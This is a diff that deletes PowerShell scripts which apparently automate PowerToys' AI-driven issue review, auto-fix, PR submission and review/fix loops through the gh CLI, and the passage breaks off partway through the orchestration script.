Array of PR numbers to check status for.
.PARAMETER CheckAll
Check all issues with review data and all open PRs with issue/* branches.
.EXAMPLE
./Get-CycleStatus.ps1 -IssueNumbers 44044, 32950
.EXAMPLE
./Get-CycleStatus.ps1 -PRNumbers 45234, 45235
.EXAMPLE
./Get-CycleStatus.ps1 -CheckAll
#>
[CmdletBinding()]
param(
[int[]]$IssueNumbers = @(),
[int[]]$PRNumbers = @(),
[switch]$CheckAll,
[switch]$JsonOutput
)
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. (Join-Path $scriptDir 'IssueReviewLib.ps1')
$repoRoot = Get-RepoRoot
$genFiles = Get-GeneratedFilesPath -RepoRoot $repoRoot
$worktreeLib = Join-Path $repoRoot 'tools/build/WorktreeLib.ps1'
if (Test-Path $worktreeLib) {
. $worktreeLib
}
function Get-IssueStatus {
param([int]$IssueNumber)
$status = @{
IssueNumber = $IssueNumber
HasReview = $false
HasImplementationPlan = $false
FeasibilityScore = 0
ClarityScore = 0
EffortDays = 0
HasWorktree = $false
WorktreePath = $null
HasCommits = $false
CommitCount = 0
HasPR = $false
PRNumber = 0
PRState = $null
PRUrl = $null
ReviewSignalStatus = $null
ReviewSignalTimestamp = $null
ReviewReviewSignalStatus = $null
ReviewReviewQualityScore = 0
ReviewReviewIteration = 0
ReviewReviewNeedsReReview = $false
FixSignalStatus = $null
FixSignalTimestamp = $null
}
# Check review status
$reviewDir = Join-Path $genFiles "issueReview/$IssueNumber"
$overviewPath = Join-Path $reviewDir 'overview.md'
$implPlanPath = Join-Path $reviewDir 'implementation-plan.md'
if (Test-Path $overviewPath) {
$status.HasReview = $true
$overview = Get-Content $overviewPath -Raw
if ($overview -match 'Technical Feasibility[^\d]*(\d+)/100') {
$status.FeasibilityScore = [int]$Matches[1]
}
if ($overview -match 'Requirement Clarity[^\d]*(\d+)/100') {
$status.ClarityScore = [int]$Matches[1]
}
if ($overview -match 'Effort Estimate[^|]*\|\s*[\d.]+(?:-(\d+))?\s*days?') {
$status.EffortDays = if ($Matches[1]) { [int]$Matches[1] } else { 1 }
}
}
if (Test-Path $implPlanPath) {
$status.HasImplementationPlan = $true
}
# Check review signal
$reviewSignalPath = Join-Path $reviewDir '.signal'
if (Test-Path $reviewSignalPath) {
try {
$reviewSignal = Get-Content $reviewSignalPath -Raw | ConvertFrom-Json
$status.ReviewSignalStatus = $reviewSignal.status
$status.ReviewSignalTimestamp = $reviewSignal.timestamp
}
catch {}
}
# Check review-review signal
$reviewReviewSignalPath = Join-Path $genFiles "issueReviewReview/$IssueNumber/.signal"
if (Test-Path $reviewReviewSignalPath) {
try {
$rrSignal = Get-Content $reviewReviewSignalPath -Raw | ConvertFrom-Json
$status.ReviewReviewSignalStatus = $rrSignal.status
$status.ReviewReviewQualityScore = [int]$rrSignal.qualityScore
$status.ReviewReviewIteration = [int]$rrSignal.iteration
$status.ReviewReviewNeedsReReview = [bool]$rrSignal.needsReReview
}
catch {}
}
# Check worktree status
$worktrees = Get-WorktreeEntries | Where-Object { $_.Branch -like "issue/$IssueNumber*" }
if ($worktrees) {
$status.HasWorktree = $true
$status.WorktreePath = $worktrees[0].Path
# Check for commits
Push-Location $status.WorktreePath
try {
$commits = git log --oneline "main..HEAD" 2>$null
if ($commits) {
$status.HasCommits = $true
$status.CommitCount = @($commits).Count
}
}
finally {
Pop-Location
}
}
# Check fix signal
$fixSignalPath = Join-Path $genFiles "issueFix/$IssueNumber/.signal"
if (Test-Path $fixSignalPath) {
try {
$fixSignal = Get-Content $fixSignalPath -Raw | ConvertFrom-Json
$status.FixSignalStatus = $fixSignal.status
$status.FixSignalTimestamp = $fixSignal.timestamp
}
catch {}
}
# Check PR status
$prs = gh pr list --head "issue/$IssueNumber" --state all --json number,url,state 2>$null | ConvertFrom-Json
if (-not $prs -or $prs.Count -eq 0) {
# Try searching by issue reference
$prs = gh pr list --search "fixes #$IssueNumber OR closes #$IssueNumber" --state all --json number,url,state --limit 1 2>$null | ConvertFrom-Json
}
if ($prs -and $prs.Count -gt 0) {
$status.HasPR = $true
$status.PRNumber = $prs[0].number
$status.PRState = $prs[0].state
$status.PRUrl = $prs[0].url
}
return $status
}
function Get-PRStatus {
param([int]$PRNumber)
$status = @{
PRNumber = $PRNumber
State = $null
IssueNumber = 0
Branch = $null
HasReviewFiles = $false
ReviewStepCount = 0
HighSeverityCount = 0
MediumSeverityCount = 0
ActiveCommentCount = 0
UnresolvedThreadCount = 0
CopilotReviewRequested = $false
ReviewSignalStatus = $null
ReviewSignalTimestamp = $null
FixSignalStatus = $null
FixSignalTimestamp = $null
}
# Get PR info
$prInfo = gh pr view $PRNumber --json state,headRefName,number 2>$null | ConvertFrom-Json
if (-not $prInfo) {
return $status
}
$status.State = $prInfo.state
$status.Branch = $prInfo.headRefName
# Extract issue number from branch
if ($status.Branch -match 'issue/(\d+)') {
$status.IssueNumber = [int]$Matches[1]
}
# Check review files
$reviewDir = Join-Path $genFiles "prReview/$PRNumber"
if (Test-Path $reviewDir) {
$status.HasReviewFiles = $true
$stepFiles = Get-ChildItem -Path $reviewDir -Filter "*.md" -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '^\d{2}-' }
$status.ReviewStepCount = $stepFiles.Count
# Count severity issues
foreach ($stepFile in $stepFiles) {
$content = Get-Content $stepFile.FullName -Raw -ErrorAction SilentlyContinue
if ($content) {
$status.HighSeverityCount += ([regex]::Matches($content, '\*\*Severity:\s*high\*\*', 'IgnoreCase')).Count
$status.HighSeverityCount += ([regex]::Matches($content, '🔴\s*High', 'IgnoreCase')).Count
$status.MediumSeverityCount += ([regex]::Matches($content, '\*\*Severity:\s*medium\*\*', 'IgnoreCase')).Count
$status.MediumSeverityCount += ([regex]::Matches($content, '🟡\s*Medium', 'IgnoreCase')).Count
}
}
}
# Check review signal
$reviewSignalPath = Join-Path $reviewDir '.signal'
if (Test-Path $reviewSignalPath) {
try {
$reviewSignal = Get-Content $reviewSignalPath -Raw | ConvertFrom-Json
$status.ReviewSignalStatus = $reviewSignal.status
$status.ReviewSignalTimestamp = $reviewSignal.timestamp
}
catch {}
}
# Check fix signal
$fixSignalPath = Join-Path $genFiles "prFix/$PRNumber/.signal"
if (Test-Path $fixSignalPath) {
try {
$fixSignal = Get-Content $fixSignalPath -Raw | ConvertFrom-Json
$status.FixSignalStatus = $fixSignal.status
$status.FixSignalTimestamp = $fixSignal.timestamp
}
catch {}
}
# Get active comments (not in reply to another comment)
try {
$commentCount = gh api "repos/microsoft/PowerToys/pulls/$PRNumber/comments" --jq '[.[] | select(.in_reply_to_id == null)] | length' 2>$null
$status.ActiveCommentCount = [int]$commentCount
}
catch {
$status.ActiveCommentCount = 0
}
# Get unresolved thread count
try {
$threads = gh api graphql -f query="query { repository(owner: `"microsoft`", name: `"PowerToys`") { pullRequest(number: $PRNumber) { reviewThreads(first: 100) { nodes { isResolved } } } } }" --jq '.data.repository.pullRequest.reviewThreads.nodes | map(select(.isResolved == false)) | length' 2>$null
$status.UnresolvedThreadCount = [int]$threads
}
catch {
$status.UnresolvedThreadCount = 0
}
# Check if Copilot review was requested
try {
$reviewers = gh pr view $PRNumber --json reviewRequests --jq '.reviewRequests[].login' 2>$null
if ($reviewers -contains 'copilot' -or $reviewers -contains 'github-copilot') {
$status.CopilotReviewRequested = $true
}
}
catch {}
return $status
}
# Main execution
$results = @{
Issues = @()
PRs = @()
Timestamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
}
# Gather issue numbers to check
$issuesToCheck = @()
$prsToCheck = @()
if ($CheckAll) {
# Get all reviewed issues
$reviewDir = Join-Path $genFiles 'issueReview'
if (Test-Path $reviewDir) {
$issuesToCheck = Get-ChildItem -Path $reviewDir -Directory |
Where-Object { $_.Name -match '^\d+$' } |
ForEach-Object { [int]$_.Name }
}
# Get all open PRs with issue/* branches
$openPRs = gh pr list --state open --json number,headRefName 2>$null | ConvertFrom-Json |
Where-Object { $_.headRefName -like 'issue/*' }
$prsToCheck = @($openPRs | ForEach-Object { $_.number })
}
else {
$issuesToCheck = $IssueNumbers
$prsToCheck = $PRNumbers
}
# Get issue statuses
foreach ($issueNum in $issuesToCheck) {
$status = Get-IssueStatus -IssueNumber $issueNum
$results.Issues += $status
}
# Get PR statuses
foreach ($prNum in $prsToCheck) {
$status = Get-PRStatus -PRNumber $prNum
$results.PRs += $status
}
# Output
if ($JsonOutput) {
$results | ConvertTo-Json -Depth 5
return
}
else {
if ($results.Issues.Count -gt 0) {
Write-Host "`n=== ISSUE STATUS ===" -ForegroundColor Cyan
Write-Host ("-" * 120)
Write-Host ("{0,-8} {1,-8} {2,-8} {3,-5} {4,-5} {5,-8} {6,-8} {7,-8} {8,-8} {9,-8} {10,-8}" -f "Issue", "Review", "Plan", "Feas", "Clar", "RR Scr", "Worktree", "PR", "RevSig", "RRSig", "FixSig")
Write-Host ("-" * 120)
foreach ($issue in $results.Issues | Sort-Object IssueNumber) {
$reviewMark = if ($issue.HasReview) { "" } else { "-" }
$planMark = if ($issue.HasImplementationPlan) { "" } else { "-" }
$wtMark = if ($issue.HasWorktree) { "" } else { "-" }
$commitMark = if ($issue.HasCommits) { $issue.CommitCount } else { "-" }
$prMark = if ($issue.HasPR) { "#$($issue.PRNumber) ($($issue.PRState))" } else { "-" }
$reviewSignalMark = if ($issue.ReviewSignalStatus) { $issue.ReviewSignalStatus } else { "-" }
$fixSignalMark = if ($issue.FixSignalStatus) { $issue.FixSignalStatus } else { "-" }
$rrScoreMark = if ($issue.ReviewReviewSignalStatus) { "$($issue.ReviewReviewQualityScore)" } else { "-" }
$rrSignalMark = if ($issue.ReviewReviewSignalStatus) {
if ($issue.ReviewReviewNeedsReReview) { "redo" } else { "pass" }
} else { "-" }
Write-Host ("{0,-8} {1,-8} {2,-8} {3,-5} {4,-5} {5,-8} {6,-8} {7,-8} {8,-8} {9,-8} {10,-8}" -f
"#$($issue.IssueNumber)", $reviewMark, $planMark, $issue.FeasibilityScore, $issue.ClarityScore, $rrScoreMark, $wtMark, $prMark, $reviewSignalMark, $rrSignalMark, $fixSignalMark)
}
}
if ($results.PRs.Count -gt 0) {
Write-Host "`n=== PR STATUS ===" -ForegroundColor Cyan
Write-Host ("-" * 120)
Write-Host ("{0,-8} {1,-10} {2,-10} {3,-8} {4,-8} {5,-10} {6,-12} {7,-10} {8,-8} {9,-8}" -f "PR", "State", "Issue", "Reviews", "High", "Medium", "Comments", "Unresolved", "RevSig", "FixSig")
Write-Host ("-" * 120)
foreach ($pr in $results.PRs | Sort-Object PRNumber) {
$reviewMark = if ($pr.HasReviewFiles) { "$($pr.ReviewStepCount) steps" } else { "-" }
$issueMark = if ($pr.IssueNumber -gt 0) { "#$($pr.IssueNumber)" } else { "-" }
$reviewSignalMark = if ($pr.ReviewSignalStatus) { $pr.ReviewSignalStatus } else { "-" }
$fixSignalMark = if ($pr.FixSignalStatus) { $pr.FixSignalStatus } else { "-" }
Write-Host ("{0,-8} {1,-10} {2,-10} {3,-8} {4,-8} {5,-10} {6,-12} {7,-10} {8,-8} {9,-8}" -f
"#$($pr.PRNumber)", $pr.State, $issueMark, $reviewMark, $pr.HighSeverityCount, $pr.MediumSeverityCount, $pr.ActiveCommentCount, $pr.UnresolvedThreadCount, $reviewSignalMark, $fixSignalMark)
}
}
Write-Host "`nTimestamp: $($results.Timestamp)" -ForegroundColor Gray
}
return $results

View File

@@ -1,123 +0,0 @@
# IssueReviewLib.ps1 - Helpers for full issue-to-PR cycle workflow
# Part of the PowerToys GitHub Copilot/Claude Code issue review system
# This is a trimmed version with only what issue-to-pr-cycle needs
#region Console Output Helpers
function Info { param([string]$Message) Write-Host $Message -ForegroundColor Cyan }
function Warn { param([string]$Message) Write-Host $Message -ForegroundColor Yellow }
function Err { param([string]$Message) Write-Host $Message -ForegroundColor Red }
function Success { param([string]$Message) Write-Host $Message -ForegroundColor Green }
#endregion
#region Repository Helpers
function Get-RepoRoot {
$root = git rev-parse --show-toplevel 2>$null
if (-not $root) { throw 'Not inside a git repository.' }
return (Resolve-Path $root).Path
}
function Get-GeneratedFilesPath {
param([string]$RepoRoot)
return Join-Path $RepoRoot 'Generated Files'
}
#endregion
#region Issue Review Results Helpers
function Get-HighConfidenceIssues {
<#
.SYNOPSIS
Find issues with high confidence for auto-fix based on review results.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER MinFeasibilityScore
Minimum Technical Feasibility score (0-100). Default: 70.
.PARAMETER MinClarityScore
Minimum Requirement Clarity score (0-100). Default: 60.
.PARAMETER MaxEffortDays
Maximum effort estimate in days. Default: 2 (S = Small).
.PARAMETER FilterIssueNumbers
Optional array of issue numbers to filter to. If specified, only these issues are considered.
#>
param(
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 60,
[int]$MaxEffortDays = 2,
[int[]]$FilterIssueNumbers = @()
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
$reviewDir = Join-Path $genFiles 'issueReview'
if (-not (Test-Path $reviewDir)) {
return @()
}
$highConfidence = @()
Get-ChildItem -Path $reviewDir -Directory | ForEach-Object {
$issueNum = [int]$_.Name
# Skip if filter is specified and this issue is not in the filter list
if ($FilterIssueNumbers.Count -gt 0 -and $issueNum -notin $FilterIssueNumbers) {
return
}
$overviewPath = Join-Path $_.FullName 'overview.md'
$implPlanPath = Join-Path $_.FullName 'implementation-plan.md'
if (-not (Test-Path $overviewPath) -or -not (Test-Path $implPlanPath)) {
return
}
# Parse overview.md to extract scores
$overview = Get-Content $overviewPath -Raw
# Extract scores using regex (looking for score table or inline scores)
$feasibility = 0
$clarity = 0
$effortDays = 999
# Try to extract from At-a-Glance Score Table
if ($overview -match 'Technical Feasibility[^\d]*(\d+)/100') {
$feasibility = [int]$Matches[1]
}
if ($overview -match 'Requirement Clarity[^\d]*(\d+)/100') {
$clarity = [int]$Matches[1]
}
# Match effort formats like "0.5-1 day", "1-2 days", "2-3 days" - extract the upper bound
if ($overview -match 'Effort Estimate[^|]*\|\s*[\d.]+(?:-(\d+))?\s*days?') {
if ($Matches[1]) {
$effortDays = [int]$Matches[1]
} elseif ($overview -match 'Effort Estimate[^|]*\|\s*(\d+)\s*days?') {
$effortDays = [int]$Matches[1]
}
}
# Also check for XS/S sizing in the table
if ($overview -match 'Effort Estimate[^|]*\|[^|]*\|\s*(XS|S)\b') {
if ($Matches[1] -eq 'XS') { $effortDays = 1 } else { $effortDays = 2 }
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(XS\)') {
$effortDays = 1
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(S\)') {
$effortDays = 2
}
if ($feasibility -ge $MinFeasibilityScore -and
$clarity -ge $MinClarityScore -and
$effortDays -le $MaxEffortDays) {
$highConfidence += @{
IssueNumber = $issueNum
FeasibilityScore = $feasibility
ClarityScore = $clarity
EffortDays = $effortDays
OverviewPath = $overviewPath
ImplementationPlanPath = $implPlanPath
}
}
}
return $highConfidence | Sort-Object -Property FeasibilityScore -Descending
}
#endregion

View File

@@ -1,679 +0,0 @@
<#!
.SYNOPSIS
Run the complete issue-to-PR cycle: fix issues, create PRs, review, and fix comments.
.DESCRIPTION
Orchestrates the full workflow:
1. Find high-confidence issues matching criteria
2. Create worktrees and run auto-fix for each issue
3. Commit changes and create PRs
4. Run PR review workflow in a loop until no issues remain:
a. Review PR and post comments
b. Fix PR comments
c. Re-review to check for remaining issues
d. Repeat until clean or max iterations reached
.PARAMETER MinFeasibilityScore
Minimum Technical Feasibility score. Default: 70.
.PARAMETER MinClarityScore
Minimum Requirement Clarity score. Default: 70.
.PARAMETER MaxEffortDays
Maximum effort in days. Default: 10.
.PARAMETER MaxReviewIterations
Maximum review/fix iterations per PR before giving up. Default: 3.
.PARAMETER ExcludeIssues
Array of issue numbers to exclude (already processed).
.PARAMETER CLIType
AI CLI to use: copilot or claude. Default: copilot.
.PARAMETER DryRun
Show what would be done without executing.
.PARAMETER SkipExisting
Skip issues that already have worktrees or PRs.
.EXAMPLE
./Start-FullIssueCycle.ps1 -MinFeasibilityScore 70 -MinClarityScore 70 -MaxEffortDays 10
.EXAMPLE
./Start-FullIssueCycle.ps1 -ExcludeIssues 44044,45029,32950,35703,44480 -DryRun
#>
[CmdletBinding()]
param(
[string]$Labels = '',
[int]$Limit = 500, # GitHub API max is 1000, default to 500 to get most issues
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 70,
[int]$MaxEffortDays = 10,
[int]$MaxReviewIterations = 3,
[int[]]$ExcludeIssues = @(),
[ValidateSet('copilot', 'claude')]
[string]$CLIType = 'copilot',
[int]$FixThrottleLimit = 5,
[int]$PRThrottleLimit = 5,
[int]$ReviewMaxConcurrent = 3,
[ValidateSet('high', 'medium', 'low', 'info')]
[string]$MinSeverityForLoop = 'medium',
[switch]$DryRun,
[switch]$SkipExisting,
[switch]$SkipReview,
[switch]$Force,
[switch]$Help
)
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$skillsDir = Split-Path -Parent (Split-Path -Parent $scriptDir) # <configRoot>/skills (e.g. .github/skills or .claude/skills)
. (Join-Path $scriptDir 'IssueReviewLib.ps1')
# Paths to other skills' scripts
$issueFixScript = Join-Path $skillsDir 'issue-fix/scripts/Start-IssueAutoFix.ps1'
$submitPRScript = Join-Path $skillsDir 'issue-fix/scripts/Submit-IssueFix.ps1'
$prReviewScript = Join-Path $skillsDir 'pr-review/scripts/Start-PRReviewWorkflow.ps1'
$prFixScript = Join-Path $skillsDir 'pr-fix/scripts/Start-PRFix.ps1'
$repoRoot = Get-RepoRoot
$worktreeLib = Join-Path $repoRoot 'tools/build/WorktreeLib.ps1'
if (Test-Path $worktreeLib) {
. $worktreeLib
}
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
#region Helper Functions
function Get-ExistingIssuePRs {
<#
.SYNOPSIS
Get ALL issues that already have PRs (open, closed, or merged) - checking GitHub directly.
#>
param(
[int[]]$IssueNumbers
)
$existingPRs = @{}
foreach ($issueNum in $IssueNumbers) {
# Check if there's a PR that mentions this issue (any state: open, closed, merged)
$prs = gh pr list --search "fixes #$issueNum OR closes #$issueNum OR resolves #$issueNum" --state all --json number,url,headRefName,state 2>$null | ConvertFrom-Json
if ($prs -and $prs.Count -gt 0) {
$existingPRs[$issueNum] = @{
PRNumber = $prs[0].number
PRUrl = $prs[0].url
Branch = $prs[0].headRefName
State = $prs[0].state
}
continue
}
# Also check for branch pattern issue/<number>* (any state)
$branchPrs = gh pr list --head "issue/$issueNum" --state all --json number,url,headRefName,state 2>$null | ConvertFrom-Json
if (-not $branchPrs -or $branchPrs.Count -eq 0) {
# Try with wildcard search via gh api
$branchPrs = gh pr list --state all --json number,url,headRefName,state 2>$null | ConvertFrom-Json | Where-Object { $_.headRefName -like "issue/$issueNum*" }
}
if ($branchPrs -and $branchPrs.Count -gt 0) {
$existingPRs[$issueNum] = @{
PRNumber = $branchPrs[0].number
PRUrl = $branchPrs[0].url
Branch = $branchPrs[0].headRefName
State = $branchPrs[0].state
}
}
}
return $existingPRs
}
function Get-ExistingWorktrees {
<#
.SYNOPSIS
Get issues that already have worktrees.
#>
$existingWorktrees = @{}
$worktrees = Get-WorktreeEntries | Where-Object { $_.Branch -like 'issue/*' }
foreach ($wt in $worktrees) {
if ($wt.Branch -match 'issue/(\d+)') {
$issueNum = [int]$Matches[1]
$existingWorktrees[$issueNum] = $wt.Path
}
}
return $existingWorktrees
}
function Get-PRReviewIssueCount {
<#
.SYNOPSIS
Count high/medium severity issues from the review overview file.
#>
param(
[int]$PRNumber,
[string]$MinSeverity = 'medium'
)
$overviewPath = Join-Path $repoRoot "Generated Files/prReview/$PRNumber/00-OVERVIEW.md"
if (-not (Test-Path $overviewPath)) {
return -1 # No review yet
}
$content = Get-Content $overviewPath -Raw
# Parse "High severity issues: <count>" from the overview
$highCount = 0
$mediumCount = 0
if ($content -match 'High severity issues:\s*(\d+)') {
$highCount = [int]$Matches[1]
}
# Also check step files for medium severity
$stepFiles = Get-ChildItem -Path (Split-Path $overviewPath) -Filter "*.md" | Where-Object { $_.Name -match '^\d{2}-' }
foreach ($stepFile in $stepFiles) {
$stepContent = Get-Content $stepFile.FullName -Raw
# Count severity markers
$mediumCount += ([regex]::Matches($stepContent, '\*\*Severity:\s*medium\*\*', 'IgnoreCase')).Count
$mediumCount += ([regex]::Matches($stepContent, '🟡\s*Medium', 'IgnoreCase')).Count
}
switch ($MinSeverity) {
'high' { return $highCount }
'medium' { return $highCount + $mediumCount }
default { return $highCount + $mediumCount }
}
}
function Get-PRActiveCommentCount {
<#
.SYNOPSIS
Count active (unresolved) review comments on a PR.
#>
param(
[int]$PRNumber
)
try {
# Get all review comments
$comments = gh api "repos/microsoft/PowerToys/pulls/$PRNumber/comments" --jq '[.[] | select(.in_reply_to_id == null)] | length' 2>$null
if ($comments) {
return [int]$comments
}
return 0
}
catch {
return 0
}
}
function Clear-PRReviewCache {
<#
.SYNOPSIS
Clear the review cache to force a fresh review.
#>
param(
[int]$PRNumber
)
$reviewPath = Join-Path $repoRoot "Generated Files/prReview/$PRNumber"
if (Test-Path $reviewPath) {
# Keep logs but remove review files
Get-ChildItem $reviewPath -Filter "*.md" | Remove-Item -Force
}
}
function Invoke-PRReviewFixLoop {
<#
.SYNOPSIS
Run the review/fix loop until no issues remain or max iterations reached.
#>
param(
[int]$PRNumber,
[int]$IssueNumber,
[string]$WorktreePath,
[string]$CLIType = 'copilot',
[string]$MinSeverity = 'medium',
[int]$MaxIterations = 3
)
$iteration = 0
$issuesRemaining = $true
while ($issuesRemaining -and $iteration -lt $MaxIterations) {
$iteration++
Info " [PR #$PRNumber] Review/Fix iteration $iteration of $MaxIterations"
# Step 1: Run PR review (assign Copilot, review, post comments)
Info " [PR #$PRNumber] Running review..."
try {
# Clear previous review to force fresh analysis
if ($iteration -gt 1) {
Clear-PRReviewCache -PRNumber $PRNumber
}
& $prReviewScript -PRNumbers $PRNumber -CLIType $CLIType -Force 2>&1 | Out-Null
}
catch {
Warn " [PR #$PRNumber] Review failed: $($_.Exception.Message)"
break
}
# Step 2: Check if there are issues found
$issueCount = Get-PRReviewIssueCount -PRNumber $PRNumber -MinSeverity $MinSeverity
$activeComments = Get-PRActiveCommentCount -PRNumber $PRNumber
Info " [PR #$PRNumber] Found $issueCount issues (severity >= $MinSeverity), $activeComments active comments"
if ($issueCount -le 0 -and $activeComments -le 0) {
Info " [PR #$PRNumber] ✓ No issues remaining!"
$issuesRemaining = $false
break
}
# Step 3: Run fix for active comments
if ($activeComments -gt 0 -or $issueCount -gt 0) {
Info " [PR #$PRNumber] Fixing $activeComments active comments..."
try {
# Run fix via pr-fix skill (review script only does reviews)
& $prFixScript -PRNumber $PRNumber -CLIType $CLIType -Force 2>&1 | Out-Null
}
catch {
Warn " [PR #$PRNumber] Fix failed: $($_.Exception.Message)"
}
}
# Brief pause to let GitHub sync
Start-Sleep -Seconds 2
}
if ($issuesRemaining) {
Warn " [PR #$PRNumber] Max iterations reached, some issues may remain"
}
return @{
PRNumber = $PRNumber
IssueNumber = $IssueNumber
Iterations = $iteration
IssuesRemaining = $issuesRemaining
FinalIssueCount = (Get-PRReviewIssueCount -PRNumber $PRNumber -MinSeverity $MinSeverity)
}
}
#endregion
#region Main Script
try {
$startTime = Get-Date
Info "=" * 80
Info "FULL ISSUE-TO-PR CYCLE"
Info "=" * 80
Info "Repository root: $repoRoot"
Info "CLI type: $CLIType"
if ($Labels) {
Info "Labels filter: $Labels"
}
Info "Criteria: Feasibility >= $MinFeasibilityScore, Clarity >= $MinClarityScore, Effort <= $MaxEffortDays days"
# Step 0: Review issues first (if labels specified and not skipping review)
if ($Labels -and -not $SkipReview) {
Info "`n" + ("=" * 60)
Info "STEP 0: Reviewing issues with label '$Labels'"
Info ("=" * 60)
$reviewScript = Join-Path $scriptDir '../../issue-review/scripts/Start-BulkIssueReview.ps1'
if (Test-Path $reviewScript) {
$reviewArgs = @{
Labels = $Labels
Limit = $Limit
CLIType = $CLIType
Force = $Force
}
if ($DryRun) {
Info "[DRY RUN] Would run: Start-BulkIssueReview.ps1 -Labels '$Labels' -Limit $Limit -CLIType $CLIType -Force"
} else {
Info "Running bulk issue review..."
& $reviewScript @reviewArgs
}
} else {
Warn "Review script not found at: $reviewScript"
Warn "Proceeding with existing review data..."
}
}
# Step 1: Find high-confidence issues
Info "`n" + ("=" * 60)
Info "STEP 1: Finding high-confidence issues"
Info ("=" * 60)
# If labels specified, get the list of issue numbers with that label first
# This ensures we ONLY look at issues with the specified label, not all reviewed issues
$filterIssueNumbers = @()
if ($Labels) {
Info "Fetching issues with label '$Labels' from GitHub..."
$labeledIssues = gh issue list --repo microsoft/PowerToys --label "$Labels" --state open --limit $Limit --json number 2>$null | ConvertFrom-Json
$filterIssueNumbers = @($labeledIssues | ForEach-Object { $_.number })
Info "Found $($filterIssueNumbers.Count) issues with label '$Labels'"
}
$highConfidence = Get-HighConfidenceIssues `
-RepoRoot $repoRoot `
-MinFeasibilityScore $MinFeasibilityScore `
-MinClarityScore $MinClarityScore `
-MaxEffortDays $MaxEffortDays `
-FilterIssueNumbers $filterIssueNumbers
Info "Found $($highConfidence.Count) high-confidence issues matching criteria"
if ($highConfidence.Count -eq 0) {
Warn "No issues found matching criteria."
return
}
# Get issue numbers for checking
$issueNumbers = $highConfidence | ForEach-Object { $_.IssueNumber }
# Get existing PRs to skip (check GitHub directly)
Info "Checking for existing PRs..."
$existingPRs = Get-ExistingIssuePRs -IssueNumbers $issueNumbers
Info "Found $($existingPRs.Count) issues with existing PRs"
# Filter out excluded issues and those with existing PRs
$issuesToProcess = $highConfidence | Where-Object {
$issueNum = $_.IssueNumber
$excluded = $issueNum -in $ExcludeIssues
$hasPR = $existingPRs.ContainsKey($issueNum)
if ($excluded) {
Info " Excluding #$issueNum (in exclude list)"
}
if ($hasPR -and $SkipExisting) {
$prState = $existingPRs[$issueNum].State
Info " Skipping #$issueNum (has $prState PR #$($existingPRs[$issueNum].PRNumber))"
}
-not $excluded -and (-not $hasPR -or -not $SkipExisting)
}
if ($issuesToProcess.Count -eq 0) {
Warn "No new issues to process after filtering."
return
}
Info "`nIssues to process: $($issuesToProcess.Count)"
Info ("-" * 80)
foreach ($issue in $issuesToProcess) {
$prInfo = if ($existingPRs.ContainsKey($issue.IssueNumber)) {
$state = $existingPRs[$issue.IssueNumber].State
" [has $state PR #$($existingPRs[$issue.IssueNumber].PRNumber)]"
} else { "" }
Info ("#{0,-6} [F:{1}, C:{2}, E:{3}d]{4}" -f $issue.IssueNumber, $issue.FeasibilityScore, $issue.ClarityScore, $issue.EffortDays, $prInfo)
}
Info ("-" * 80)
if ($DryRun) {
Warn "`nDry run mode - showing what would be done:"
Info " 1. Create worktrees for $($issuesToProcess.Count) issues (parallel)"
Info " 2. Run Copilot auto-fix in each worktree (parallel)"
Info " 3. Commit and create PRs (parallel)"
Info " 4. Run PR review/fix loop (up to $MaxReviewIterations iterations per PR)"
Info " - Review PR and post comments (severity >= $MinSeverityForLoop)"
Info " - Fix active comments"
Info " - Repeat until clean or max iterations"
return
}
# Confirm
if (-not $Force) {
$confirm = Read-Host "`nProceed with full cycle for $($issuesToProcess.Count) issues? (y/N)"
if ($confirm -notmatch '^[yY]') {
Info "Cancelled."
return
}
}
# Track results
$results = @{
FixSucceeded = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
FixFailed = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
PRCreated = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
PRFailed = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
PRSkipped = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
ReviewSucceeded = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
ReviewFailed = [System.Collections.Concurrent.ConcurrentBag[object]]::new()
}
# ========================================
# PHASE 1: Create worktrees and fix issues (PARALLEL)
# ========================================
Info "`n" + ("=" * 60)
Info "PHASE 1: Auto-Fix Issues (Parallel)"
Info ("=" * 60)
$issuesNeedingFix = $issuesToProcess | Where-Object { -not $existingPRs.ContainsKey($_.IssueNumber) }
$issuesWithPR = $issuesToProcess | Where-Object { $existingPRs.ContainsKey($_.IssueNumber) }
Info "Issues needing fix: $($issuesNeedingFix.Count)"
Info "Issues with existing PR (skip to review): $($issuesWithPR.Count)"
if ($issuesNeedingFix.Count -gt 0) {
$issuesNeedingFix | ForEach-Object -ThrottleLimit $FixThrottleLimit -Parallel {
$issue = $_
$issueNum = $issue.IssueNumber
$issueFixScript = $using:issueFixScript
$CLIType = $using:CLIType
$results = $using:results
try {
Write-Host "[Issue #$issueNum] Starting auto-fix..." -ForegroundColor Cyan
& $issueFixScript -IssueNumber $issueNum -CLIType $CLIType -Force 2>&1 | Out-Null
$results.FixSucceeded.Add($issueNum)
Write-Host "[Issue #$issueNum] ✓ Fix completed" -ForegroundColor Green
}
catch {
$results.FixFailed.Add(@{ IssueNumber = $issueNum; Error = $_.Exception.Message })
Write-Host "[Issue #$issueNum] ✗ Fix failed: $($_.Exception.Message)" -ForegroundColor Red
}
}
}
Info "`nPhase 1 complete: $($results.FixSucceeded.Count) succeeded, $($results.FixFailed.Count) failed"
# ========================================
# PHASE 2: Commit and create PRs (PARALLEL)
# ========================================
Info "`n" + ("=" * 60)
Info "PHASE 2: Submit PRs (Parallel)"
Info ("=" * 60)
$fixedIssues = $results.FixSucceeded.ToArray()
if ($fixedIssues.Count -gt 0) {
$fixedIssues | ForEach-Object -ThrottleLimit $PRThrottleLimit -Parallel {
$issueNum = $_
$submitPRScript = $using:submitPRScript
$CLIType = $using:CLIType
$results = $using:results
try {
